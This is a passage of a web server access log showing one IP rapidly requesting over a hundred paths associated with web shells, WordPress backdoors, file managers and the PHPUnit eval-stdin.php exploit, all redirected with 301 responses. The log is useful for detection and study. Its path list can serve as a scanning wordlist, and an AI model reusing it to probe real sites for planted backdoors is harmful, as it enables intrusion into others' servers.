"Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:48:42 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:43 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:43 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:43 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:43 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:44 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:44 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:44 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:45 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:45 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:45 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:45 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:46 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:48:46 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:48:47 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:47 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:48:47 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:48 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:48:48 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:48 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:48 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:48:48 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:49 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:49 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:48:49 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:49 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:50 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:50 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:50 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:48:50 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:51 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:51 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:48:51 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:52 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:48:52 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:52 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.18 - - [29/Apr/2025:14:48:52 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:48:52 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:53 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:53 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:53 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:54 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:54 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:54 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:55 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.18 - - [29/Apr/2025:14:48:56 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:56 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:48:56 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:56 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:57 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:57 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:48:57 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:57 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:58 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:48:58 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:48:59 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:48:59 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:00 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:00 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:01 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:49:02 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:02 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:03 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:03 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:03 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:04 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:04 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:49:04 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:49:05 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:05 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:06 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:06 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:06 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:07 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:07 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:07 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:07 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:08 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:08 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:08 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:08 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:49:09 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:49:09 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:09 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:49:10 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:49:10 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:10 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:10 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:10 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:11 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:11 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:11 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:49:11 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:11 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:12 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:12 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:12 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:12 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:13 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:13 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:13 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:49:13 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:49:14 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:14 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:14 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:15 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:49:15 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:15 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:49:15 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:15 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:49:16 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:49:16 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - 